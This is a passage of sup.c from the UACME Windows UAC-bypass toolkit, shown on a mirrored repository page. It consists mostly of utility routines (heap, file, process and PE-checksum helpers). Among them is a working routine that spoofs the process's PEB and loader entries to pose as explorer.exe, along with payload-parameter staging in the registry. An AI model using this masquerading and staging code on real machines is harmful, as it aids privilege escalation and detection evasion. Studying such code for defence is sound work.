mirror of https://github.com/hfiref0x/UACME.git
1278 lines
27 KiB
C
1278 lines
27 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2015 - 2017
|
|
*
|
|
* TITLE: SUP.C
|
|
*
|
|
* VERSION: 2.74
|
|
*
|
|
* DATE: 20 June 2017
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
/*
|
|
* supHeapAlloc
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Wrapper for RtlAllocateHeap with ucmHeap.
|
|
*
|
|
*/
|
|
PVOID FORCEINLINE supHeapAlloc(
|
|
_In_ SIZE_T Size)
|
|
{
|
|
return RtlAllocateHeap(g_ctx.ucmHeap, HEAP_ZERO_MEMORY, Size);
|
|
}
|
|
|
|
/*
|
|
* supHeapFree
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Wrapper for RtlFreeHeap with ucmHeap.
|
|
*
|
|
*/
|
|
BOOL FORCEINLINE supHeapFree(
|
|
_In_ PVOID Memory)
|
|
{
|
|
return RtlFreeHeap(g_ctx.ucmHeap, 0, Memory);
|
|
}
|
|
|
|
/*
|
|
* supIsProcess32bit
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return TRUE if given process is under WOW64, FALSE otherwise.
|
|
*
|
|
*/
|
|
BOOLEAN supIsProcess32bit(
|
|
_In_ HANDLE hProcess
|
|
)
|
|
{
|
|
NTSTATUS status;
|
|
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
|
|
|
|
if (hProcess == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
//query if this is wow64 process
|
|
RtlSecureZeroMemory(&pebi, sizeof(pebi));
|
|
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
|
|
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
|
|
if (NT_SUCCESS(status)) {
|
|
return (pebi.IsWow64Process == 1);
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
/*
|
|
* supGetElevationType
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Returns client elevation type.
|
|
*
|
|
*/
|
|
BOOL supGetElevationType(
|
|
TOKEN_ELEVATION_TYPE *lpType
|
|
)
|
|
{
|
|
HANDLE hToken = NULL;
|
|
NTSTATUS status;
|
|
ULONG bytesRead = 0;
|
|
|
|
if (lpType == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
status = NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
|
|
if (!NT_SUCCESS(status)) {
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
return FALSE;
|
|
}
|
|
|
|
status = NtQueryInformationToken(hToken, TokenElevationType, lpType,
|
|
sizeof(TOKEN_ELEVATION_TYPE), &bytesRead);
|
|
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
|
|
NtClose(hToken);
|
|
|
|
return (NT_SUCCESS(status));
|
|
}
|
|
|
|
/*
|
|
* supGetExplorerHandle
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Returns Explorer process handle opened with maximum allowed rights or NULL on error.
|
|
*
|
|
*/
|
|
HANDLE supGetExplorerHandle(
|
|
VOID
|
|
)
|
|
{
|
|
HWND hTrayWnd = NULL;
|
|
DWORD dwProcessId = 0;
|
|
|
|
hTrayWnd = FindWindow(TEXT("Shell_TrayWnd"), NULL);
|
|
if (hTrayWnd == NULL)
|
|
return NULL;
|
|
|
|
GetWindowThreadProcessId(hTrayWnd, &dwProcessId);
|
|
if (dwProcessId == 0)
|
|
return NULL;
|
|
|
|
return OpenProcess(MAXIMUM_ALLOWED, FALSE, dwProcessId);
|
|
}
|
|
|
|
/*
|
|
* supWriteBufferToFile
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Create new file and write buffer to it.
|
|
*
|
|
*/
|
|
BOOL supWriteBufferToFile(
|
|
_In_ LPWSTR lpFileName,
|
|
_In_ PVOID Buffer,
|
|
_In_ DWORD BufferSize
|
|
)
|
|
{
|
|
HANDLE hFile;
|
|
DWORD bytesIO;
|
|
|
|
if (
|
|
(lpFileName == NULL) ||
|
|
(Buffer == NULL) ||
|
|
(BufferSize == 0)
|
|
)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
hFile = CreateFile(lpFileName,
|
|
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
supDebugPrint(TEXT("CreateFile"), GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
WriteFile(hFile, Buffer, BufferSize, &bytesIO, NULL);
|
|
CloseHandle(hFile);
|
|
|
|
return (bytesIO == BufferSize);
|
|
}
|
|
|
|
/*
|
|
* supDebugPrint
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Write formatted debug output.
|
|
*
|
|
*/
|
|
VOID supDebugPrint(
|
|
LPWSTR ApiName,
|
|
DWORD status
|
|
)
|
|
{
|
|
LPWSTR lpBuffer;
|
|
SIZE_T sz;
|
|
|
|
sz = MAX_PATH;
|
|
if (ApiName)
|
|
sz += _strlen(ApiName);
|
|
|
|
lpBuffer = supHeapAlloc(sz * sizeof(WCHAR));
|
|
if (lpBuffer) {
|
|
_strcpy(lpBuffer, TEXT("[UCM] "));
|
|
if (ApiName) {
|
|
_strcat(lpBuffer, ApiName);
|
|
}
|
|
_strcat(lpBuffer, TEXT(" code = "));
|
|
ultostr(status, _strend(lpBuffer));
|
|
_strcat(lpBuffer, TEXT("\n"));
|
|
OutputDebugString(lpBuffer);
|
|
supHeapFree(lpBuffer);
|
|
}
|
|
|
|
SetLastError(status);
|
|
}
|
|
|
|
/*
|
|
* supReadFileToBuffer
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Read file to buffer. Release memory when it no longer needed.
|
|
*
|
|
*/
|
|
PBYTE supReadFileToBuffer(
|
|
_In_ LPWSTR lpFileName,
|
|
_Inout_opt_ LPDWORD lpBufferSize
|
|
)
|
|
{
|
|
BOOL bCond = FALSE;
|
|
NTSTATUS status;
|
|
HANDLE hFile = NULL, hRoot = NULL;
|
|
PBYTE Buffer = NULL;
|
|
SIZE_T sz = 0;
|
|
|
|
UNICODE_STRING usName;
|
|
OBJECT_ATTRIBUTES attr;
|
|
IO_STATUS_BLOCK iost;
|
|
FILE_STANDARD_INFORMATION fi;
|
|
|
|
do {
|
|
|
|
RtlSecureZeroMemory(&usName, sizeof(usName));
|
|
|
|
if (lpFileName == NULL)
|
|
return NULL;
|
|
|
|
if (!RtlDosPathNameToNtPathName_U(
|
|
NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer, &usName, NULL, NULL))
|
|
{
|
|
break;
|
|
}
|
|
|
|
InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, 0, NULL);
|
|
status = NtCreateFile(&hRoot, FILE_LIST_DIRECTORY | SYNCHRONIZE,
|
|
&attr,
|
|
&iost,
|
|
NULL,
|
|
0,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0
|
|
);
|
|
|
|
RtlFreeUnicodeString(&usName);
|
|
|
|
if (!NT_SUCCESS(status)) {
|
|
supDebugPrint(TEXT("OpenDirectory"), RtlNtStatusToDosError(status));
|
|
break;
|
|
}
|
|
|
|
RtlInitUnicodeString(&usName, lpFileName);
|
|
InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, hRoot, NULL);
|
|
|
|
status = NtCreateFile(&hFile,
|
|
FILE_READ_DATA | SYNCHRONIZE,
|
|
&attr,
|
|
&iost,
|
|
NULL,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
FILE_SHARE_READ,
|
|
FILE_OPEN,
|
|
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0
|
|
);
|
|
|
|
if (!NT_SUCCESS(status)) {
|
|
supDebugPrint(TEXT("CreateFile"), RtlNtStatusToDosError(status));
|
|
break;
|
|
}
|
|
|
|
RtlSecureZeroMemory(&fi, sizeof(fi));
|
|
status = NtQueryInformationFile(hFile, &iost, &fi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
sz = (SIZE_T)fi.EndOfFile.LowPart;
|
|
status = NtAllocateVirtualMemory(NtCurrentProcess(), &Buffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
status = NtReadFile(hFile, NULL, NULL, NULL, &iost, Buffer, fi.EndOfFile.LowPart, NULL, NULL);
|
|
if (NT_SUCCESS(status)) {
|
|
if (lpBufferSize)
|
|
*lpBufferSize = fi.EndOfFile.LowPart;
|
|
}
|
|
else {
|
|
sz = 0;
|
|
NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
|
|
Buffer = NULL;
|
|
}
|
|
}
|
|
|
|
} while (bCond);
|
|
|
|
if (hRoot != NULL) {
|
|
NtClose(hRoot);
|
|
}
|
|
|
|
if (hFile != NULL) {
|
|
NtClose(hFile);
|
|
}
|
|
|
|
return Buffer;
|
|
}
|
|
|
|
/*
|
|
* supRunProcess2
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Execute given process with given parameters and wait if specified.
|
|
*
|
|
*/
|
|
BOOL supRunProcess2(
|
|
_In_ LPWSTR lpszProcessName,
|
|
_In_opt_ LPWSTR lpszParameters,
|
|
_In_ BOOL fWait
|
|
)
|
|
{
|
|
BOOL bResult;
|
|
SHELLEXECUTEINFO shinfo;
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
|
|
if (lpszProcessName == NULL)
|
|
return FALSE;
|
|
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = lpszProcessName;
|
|
shinfo.lpParameters = lpszParameters;
|
|
shinfo.lpDirectory = NULL;
|
|
shinfo.nShow = SW_SHOW;
|
|
bResult = ShellExecuteEx(&shinfo);
|
|
if (bResult) {
|
|
if (fWait)
|
|
WaitForSingleObject(shinfo.hProcess, 0x8000);
|
|
CloseHandle(shinfo.hProcess);
|
|
}
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* supRunProcess
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Execute given process with given parameters.
|
|
*
|
|
*/
|
|
BOOL supRunProcess(
|
|
_In_ LPWSTR lpszProcessName,
|
|
_In_opt_ LPWSTR lpszParameters
|
|
)
|
|
{
|
|
return supRunProcess2(lpszProcessName, lpszParameters, TRUE);
|
|
}
|
|
|
|
/*
|
|
* supRunProcessEx
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Start new process in suspended state.
|
|
*
|
|
*/
|
|
HANDLE NTAPI supRunProcessEx(
|
|
_In_ LPWSTR lpszParameters,
|
|
_In_opt_ LPWSTR lpCurrentDirectory,
|
|
_Out_opt_ HANDLE *PrimaryThread,
|
|
_Inout_opt_ LPWSTR lpApplicationName
|
|
)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
LPWSTR pszBuffer = NULL;
|
|
SIZE_T ccb;
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
DWORD dwFlags = CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS;
|
|
|
|
if (PrimaryThread)
|
|
*PrimaryThread = NULL;
|
|
|
|
if (lpszParameters == NULL)
|
|
return NULL;
|
|
|
|
ccb = (1 + _strlen(lpszParameters)) * sizeof(WCHAR);
|
|
pszBuffer = supHeapAlloc(ccb);
|
|
if (pszBuffer == NULL)
|
|
return NULL;
|
|
|
|
_strcpy(pszBuffer, lpszParameters);
|
|
|
|
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
|
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
|
|
si.cb = sizeof(STARTUPINFO);
|
|
GetStartupInfo(&si);
|
|
|
|
bResult = CreateProcessAsUser(
|
|
NULL,
|
|
lpApplicationName,
|
|
pszBuffer,
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
dwFlags | CREATE_SUSPENDED,
|
|
NULL,
|
|
lpCurrentDirectory,
|
|
&si,
|
|
&pi);
|
|
|
|
if (bResult) {
|
|
if (PrimaryThread) {
|
|
*PrimaryThread = pi.hThread;
|
|
}
|
|
else {
|
|
CloseHandle(pi.hThread);
|
|
}
|
|
}
|
|
supHeapFree(pszBuffer);
|
|
return pi.hProcess;
|
|
}
|
|
|
|
/*
|
|
* supCopyMemory
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Copies bytes between buffers.
|
|
*
|
|
* dest - Destination buffer
|
|
* cbdest - Destination buffer size in bytes
|
|
* src - Source buffer
|
|
* cbsrc - Source buffer size in bytes
|
|
*
|
|
*/
|
|
void supCopyMemory(
|
|
_Inout_ void *dest,
|
|
_In_ size_t cbdest,
|
|
_In_ const void *src,
|
|
_In_ size_t cbsrc
|
|
)
|
|
{
|
|
char *d = (char*)dest;
|
|
char *s = (char*)src;
|
|
|
|
if ((dest == 0) || (src == 0) || (cbdest == 0))
|
|
return;
|
|
if (cbdest < cbsrc)
|
|
cbsrc = cbdest;
|
|
|
|
while (cbsrc > 0) {
|
|
*d++ = *s++;
|
|
cbsrc--;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* supQueryEntryPointRVA
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return EP RVA of the given PE file.
|
|
*
|
|
*/
|
|
DWORD supQueryEntryPointRVA(
|
|
_In_ LPWSTR lpImageFile
|
|
)
|
|
{
|
|
PVOID ImageBase;
|
|
PIMAGE_DOS_HEADER pdosh;
|
|
PIMAGE_FILE_HEADER pfh1;
|
|
PIMAGE_OPTIONAL_HEADER poh;
|
|
DWORD epRVA = 0;
|
|
|
|
if (lpImageFile == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
ImageBase = LoadLibraryExW(lpImageFile, 0, DONT_RESOLVE_DLL_REFERENCES);
|
|
if (ImageBase) {
|
|
|
|
pdosh = (PIMAGE_DOS_HEADER)ImageBase;
|
|
pfh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + (pdosh->e_lfanew + sizeof(DWORD)));
|
|
poh = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pfh1 + sizeof(IMAGE_FILE_HEADER));
|
|
|
|
//AddressOfEntryPoint is in standard fields.
|
|
epRVA = poh->AddressOfEntryPoint;
|
|
|
|
FreeLibrary(ImageBase);
|
|
}
|
|
return epRVA;
|
|
}
|
|
|
|
/*
|
|
* supQueryEnvironmentVariableOffset
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return offset to the given environment variable.
|
|
*
|
|
*/
|
|
LPWSTR supQueryEnvironmentVariableOffset(
|
|
_In_ PUNICODE_STRING Value
|
|
)
|
|
{
|
|
UNICODE_STRING str1;
|
|
PWCHAR EnvironmentBlock, ptr;
|
|
|
|
EnvironmentBlock = RtlGetCurrentPeb()->ProcessParameters->Environment;
|
|
ptr = EnvironmentBlock;
|
|
|
|
do {
|
|
if (*ptr == 0)
|
|
return 0;
|
|
|
|
RtlSecureZeroMemory(&str1, sizeof(str1));
|
|
RtlInitUnicodeString(&str1, ptr);
|
|
if (RtlPrefixUnicodeString(Value, &str1, TRUE))
|
|
break;
|
|
|
|
ptr += _strlen(ptr) + 1;
|
|
|
|
} while (1);
|
|
|
|
return (ptr + Value->Length / sizeof(WCHAR));
|
|
}
|
|
|
|
/*
|
|
* supSetParameter
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Set parameter for payload execution.
|
|
*
|
|
*/
|
|
BOOL supSetParameter(
|
|
LPWSTR lpParameter,
|
|
DWORD cbParameter
|
|
)
|
|
{
|
|
BOOL cond = FALSE, bResult = FALSE;
|
|
HKEY hKey;
|
|
LRESULT lRet;
|
|
|
|
hKey = NULL;
|
|
|
|
do {
|
|
lRet = RegCreateKeyExW(HKEY_CURRENT_USER, T_AKAGI_KEY, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
|
|
|
|
if ((lRet != ERROR_SUCCESS) || (hKey == NULL)) {
|
|
break;
|
|
}
|
|
|
|
RegSetValueExW(hKey, T_AKAGI_FLAG, 0, REG_DWORD, (BYTE *)&g_ctx.AkagiFlag, sizeof(DWORD));
|
|
|
|
lRet = RegSetValueExW(hKey, T_AKAGI_PARAM, 0, REG_SZ,
|
|
(LPBYTE)lpParameter, cbParameter);
|
|
|
|
bResult = (lRet == ERROR_SUCCESS);
|
|
|
|
} while (cond);
|
|
|
|
if (hKey) {
|
|
RegCloseKey(hKey);
|
|
}
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* supChkSum
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Calculate partial checksum for given buffer.
|
|
*
|
|
*/
|
|
USHORT supChkSum(
|
|
ULONG PartialSum,
|
|
PUSHORT Source,
|
|
ULONG Length
|
|
)
|
|
{
|
|
while (Length--) {
|
|
PartialSum += *Source++;
|
|
PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
|
|
}
|
|
return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
|
|
}
|
|
|
|
/*
|
|
* supCalculateCheckSumForMappedFile
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Calculate PE file checksum.
|
|
*
|
|
*/
|
|
DWORD supCalculateCheckSumForMappedFile(
|
|
_In_ PVOID BaseAddress,
|
|
_In_ ULONG FileLength
|
|
)
|
|
{
|
|
PUSHORT AdjustSum;
|
|
PIMAGE_NT_HEADERS NtHeaders;
|
|
USHORT PartialSum;
|
|
ULONG CheckSum;
|
|
|
|
PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);
|
|
|
|
NtHeaders = RtlImageNtHeader(BaseAddress);
|
|
if (NtHeaders != NULL) {
|
|
AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum);
|
|
PartialSum -= (PartialSum < AdjustSum[0]);
|
|
PartialSum -= AdjustSum[0];
|
|
PartialSum -= (PartialSum < AdjustSum[1]);
|
|
PartialSum -= AdjustSum[1];
|
|
}
|
|
else
|
|
{
|
|
PartialSum = 0;
|
|
}
|
|
CheckSum = (ULONG)PartialSum + FileLength;
|
|
return CheckSum;
|
|
}
|
|
|
|
/*
|
|
* supVerifyMappedImageMatchesChecksum
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Calculate PE file checksum and compare it with checksum in PE header.
|
|
*
|
|
*/
|
|
BOOLEAN supVerifyMappedImageMatchesChecksum(
|
|
_In_ PVOID BaseAddress,
|
|
_In_ ULONG FileLength
|
|
)
|
|
{
|
|
PIMAGE_NT_HEADERS NtHeaders;
|
|
ULONG HeaderSum;
|
|
ULONG CheckSum;
|
|
|
|
CheckSum = supCalculateCheckSumForMappedFile(BaseAddress, FileLength);
|
|
|
|
NtHeaders = RtlImageNtHeader(BaseAddress);
|
|
if (NtHeaders) {
|
|
HeaderSum = NtHeaders->OptionalHeader.CheckSum;
|
|
}
|
|
else {
|
|
HeaderSum = FileLength;
|
|
}
|
|
return (CheckSum == HeaderSum);
|
|
}
|
|
|
|
/*
|
|
* supSetCheckSumForMappedFile
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Set checksum value to PE header.
|
|
*
|
|
*/
|
|
BOOLEAN supSetCheckSumForMappedFile(
|
|
_In_ PVOID BaseAddress,
|
|
_In_ ULONG CheckSum
|
|
)
|
|
{
|
|
PIMAGE_NT_HEADERS NtHeaders;
|
|
|
|
NtHeaders = RtlImageNtHeader(BaseAddress);
|
|
if (NtHeaders) {
|
|
NtHeaders->OptionalHeader.CheckSum = CheckSum;
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
/*
|
|
* ucmShowMessage
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Output message to user.
|
|
*
|
|
*/
|
|
VOID ucmShowMessage(
|
|
LPWSTR lpszMsg
|
|
)
|
|
{
|
|
if (lpszMsg) {
|
|
MessageBoxW(GetDesktopWindow(),
|
|
lpszMsg, PROGRAMTITLE, MB_ICONINFORMATION);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ucmShowQuestion
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Output message with question to user.
|
|
*
|
|
*/
|
|
INT ucmShowQuestion(
|
|
LPWSTR lpszMsg
|
|
)
|
|
{
|
|
return MessageBoxW(GetDesktopWindow(), lpszMsg, PROGRAMTITLE, MB_YESNO);
|
|
}
|
|
|
|
/*
|
|
* supLdrQueryResourceData
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
|
|
*
|
|
*/
|
|
PBYTE supLdrQueryResourceData(
|
|
_In_ ULONG_PTR ResourceId,
|
|
_In_ PVOID DllHandle,
|
|
_In_ PULONG DataSize
|
|
)
|
|
{
|
|
NTSTATUS status;
|
|
ULONG_PTR IdPath[3];
|
|
IMAGE_RESOURCE_DATA_ENTRY *DataEntry;
|
|
PBYTE Data = NULL;
|
|
ULONG SizeOfData = 0;
|
|
|
|
if (DllHandle != NULL) {
|
|
|
|
IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
|
|
IdPath[1] = ResourceId; //id
|
|
IdPath[2] = 0; //lang
|
|
|
|
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
|
|
if (NT_SUCCESS(status)) {
|
|
status = LdrAccessResource(DllHandle, DataEntry, &Data, &SizeOfData);
|
|
if (NT_SUCCESS(status)) {
|
|
if (DataSize) {
|
|
*DataSize = SizeOfData;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return Data;
|
|
}
|
|
|
|
static LPWSTR g_lpszExplorer = NULL;
|
|
|
|
/*
|
|
* supxLdrEnumModulesCallback
|
|
*
|
|
* Purpose:
|
|
*
|
|
* LdrEnumerateLoadedModules callback.
|
|
*
|
|
*/
|
|
VOID NTAPI supxLdrEnumModulesCallback(
|
|
_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
|
|
_In_ PVOID Context,
|
|
_In_ OUT BOOLEAN *StopEnumeration
|
|
)
|
|
{
|
|
PPEB Peb = (PPEB)Context;
|
|
|
|
if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
|
|
RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer);
|
|
RtlInitUnicodeString(&DataTableEntry->BaseDllName, EXPLORER_EXE);
|
|
*StopEnumeration = TRUE;
|
|
}
|
|
else {
|
|
*StopEnumeration = FALSE;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* supMasqueradeProcess
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Fake current process information.
|
|
* As in fact Windows only cares about loader entry information as they use PSAPI like bullshit.
|
|
*
|
|
*/
|
|
VOID supMasqueradeProcess(
|
|
VOID
|
|
)
|
|
{
|
|
DWORD cch;
|
|
PPEB Peb = NtCurrentPeb();
|
|
SIZE_T sz;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
cch = GetWindowsDirectory(szBuffer, MAX_PATH);
|
|
if ((cch != 0) && (cch < MAX_PATH)) {
|
|
|
|
_strcat(szBuffer, L"\\");
|
|
_strcat(szBuffer, EXPLORER_EXE);
|
|
|
|
g_lpszExplorer = NULL;
|
|
sz = 0x1000;
|
|
NtAllocateVirtualMemory(NtCurrentProcess(), &g_lpszExplorer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (g_lpszExplorer) {
|
|
_strcpy(g_lpszExplorer, szBuffer);
|
|
|
|
RtlEnterCriticalSection(Peb->FastPebLock);
|
|
|
|
RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer);
|
|
RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, APPCMDLINE);
|
|
|
|
RtlLeaveCriticalSection(Peb->FastPebLock);
|
|
|
|
LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
|
|
}
|
|
}
|
|
}
|
|
|
|
/*
|
|
* supExpandEnvironmentStrings
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Native ExpandEnvironmetStrings.
|
|
*
|
|
*/
|
|
DWORD supExpandEnvironmentStrings(
|
|
LPCWSTR lpSrc,
|
|
LPWSTR lpDst,
|
|
DWORD nSize
|
|
)
|
|
{
|
|
NTSTATUS Status;
|
|
UNICODE_STRING Source, Destination;
|
|
ULONG Length;
|
|
DWORD iSize;
|
|
|
|
if (nSize > (MAXUSHORT >> 1) - 2) {
|
|
iSize = (MAXUSHORT >> 1) - 2;
|
|
}
|
|
else {
|
|
iSize = nSize;
|
|
}
|
|
|
|
RtlSecureZeroMemory(&Source, sizeof(Source));
|
|
RtlInitUnicodeString(&Source, lpSrc);
|
|
Destination.Buffer = lpDst;
|
|
Destination.Length = 0;
|
|
Destination.MaximumLength = (USHORT)(iSize * sizeof(WCHAR));
|
|
Length = 0;
|
|
Status = RtlExpandEnvironmentStrings_U(NULL,
|
|
&Source,
|
|
&Destination,
|
|
&Length
|
|
);
|
|
if (NT_SUCCESS(Status) || Status == STATUS_BUFFER_TOO_SMALL) {
|
|
return (DWORD)(Length / sizeof(WCHAR));
|
|
}
|
|
else {
|
|
RtlSetLastWin32Error(RtlNtStatusToDosError(Status));
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* sxsFilePathNoSlash
|
|
*
|
|
* Purpose:
|
|
*
|
|
* same as _filepath except it doesnt return last slash.
|
|
*
|
|
*/
|
|
wchar_t *sxsFilePathNoSlash(
|
|
const wchar_t *fname,
|
|
wchar_t *fpath
|
|
)
|
|
{
|
|
wchar_t *p = (wchar_t *)fname, *p0 = (wchar_t*)fname, *p1 = (wchar_t*)fpath;
|
|
|
|
if ((fname == 0) || (fpath == NULL))
|
|
return 0;
|
|
|
|
while (*fname != (wchar_t)0) {
|
|
if (*fname == '\\')
|
|
p = (wchar_t *)fname;
|
|
fname++;
|
|
}
|
|
|
|
while (p0 < p) {
|
|
*p1 = *p0;
|
|
p1++;
|
|
p0++;
|
|
}
|
|
*p1 = 0;
|
|
|
|
return fpath;
|
|
}
|
|
|
|
/*
|
|
* sxsFindDllCallback
|
|
*
|
|
* Purpose:
|
|
*
|
|
* LdrEnumerateLoadedModules callback used to lookup sxs dlls from loader list.
|
|
*
|
|
*/
|
|
VOID NTAPI sxsFindDllCallback(
|
|
_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
|
|
_In_ PVOID Context,
|
|
_In_ OUT BOOLEAN *StopEnumeration
|
|
)
|
|
{
|
|
BOOL bCond = FALSE;
|
|
BOOLEAN bFound = FALSE;
|
|
PSXS_SEARCH_CONTEXT sctx = (PSXS_SEARCH_CONTEXT)Context;
|
|
|
|
do {
|
|
|
|
if ((sctx == NULL) || (DataTableEntry == NULL))
|
|
break;
|
|
|
|
if ((DataTableEntry->BaseDllName.Buffer == NULL) ||
|
|
(DataTableEntry->FullDllName.Buffer == NULL))
|
|
break;
|
|
|
|
if (_strcmpi(DataTableEntry->BaseDllName.Buffer, sctx->DllName) != 0)
|
|
break;
|
|
|
|
if (_strstri(DataTableEntry->FullDllName.Buffer, sctx->PartialPath) == NULL)
|
|
break;
|
|
|
|
if (sxsFilePathNoSlash(DataTableEntry->FullDllName.Buffer, sctx->FullDllPath) == NULL)
|
|
break;
|
|
|
|
bFound = TRUE;
|
|
|
|
} while (bCond);
|
|
|
|
*StopEnumeration = bFound;
|
|
}
|
|
|
|
/*
|
|
* supNativeGetProcAddress
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Simplified native GetProcAddress.
|
|
*
|
|
*/
|
|
PVOID supNativeGetProcAddress(
|
|
WCHAR *Module,
|
|
CHAR *Routine
|
|
)
|
|
{
|
|
PVOID DllImageBase = NULL, ProcedureAddress = NULL;
|
|
UNICODE_STRING DllName;
|
|
ANSI_STRING str;
|
|
|
|
RtlSecureZeroMemory(&DllName, sizeof(DllName));
|
|
RtlInitUnicodeString(&DllName, Module);
|
|
if (!NT_SUCCESS(LdrGetDllHandle(NULL, NULL, &DllName, &DllImageBase)))
|
|
return NULL;
|
|
|
|
RtlInitString(&str, Routine);
|
|
if (!NT_SUCCESS(LdrGetProcedureAddress(DllImageBase, &str, 0, &ProcedureAddress)))
|
|
return NULL;
|
|
|
|
return ProcedureAddress;
|
|
}
|
|
|
|
/*
|
|
* supxDeleteKeyRecursive
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Delete key and all it subkeys/values.
|
|
*
|
|
*/
|
|
BOOL supxDeleteKeyRecursive(
|
|
_In_ HKEY hKeyRoot,
|
|
_In_ LPWSTR lpSubKey)
|
|
{
|
|
LPWSTR lpEnd;
|
|
LONG lResult;
|
|
DWORD dwSize;
|
|
WCHAR szName[MAX_PATH + 1];
|
|
HKEY hKey;
|
|
FILETIME ftWrite;
|
|
|
|
//
|
|
// Attempt to delete key as is.
|
|
//
|
|
